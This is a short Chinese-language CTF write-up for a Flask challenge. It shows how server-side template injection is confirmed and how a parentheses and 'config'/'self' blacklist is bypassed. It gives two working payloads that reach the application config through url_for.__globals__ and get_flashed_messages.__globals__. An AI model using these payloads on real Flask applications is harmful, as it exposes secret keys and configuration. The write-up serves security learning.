打开链接,查看源码
代码审计
看见了flask,考虑模板注入,@app.route后跟着路径,还有一部分过滤
试一下
/shrine/{{1+1}},回显为2,确实是ssti
app.config['FLAG'] = os.environ.pop('FLAG')
注册了一个config,flag应该就在这里面,本来可以直接查看{{config}},但后面代码存在过滤
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
过滤了()括号,将config,self两个函数加入黑名单,并遍历为空
看了下大佬的wp,python还有一些内置函数,url_for和get_flashed_messages,我两个都做一下,查看config
1,payload:
/shrine/{{url_for.__globals__['current_app'].config}}
2,get_flashed_messages
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
payload:
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
知识点:flask框架模板注入ssti
参考文章:https://www.cnblogs.com/echoDetected/p/12905261.html
2020.7.31 公瑾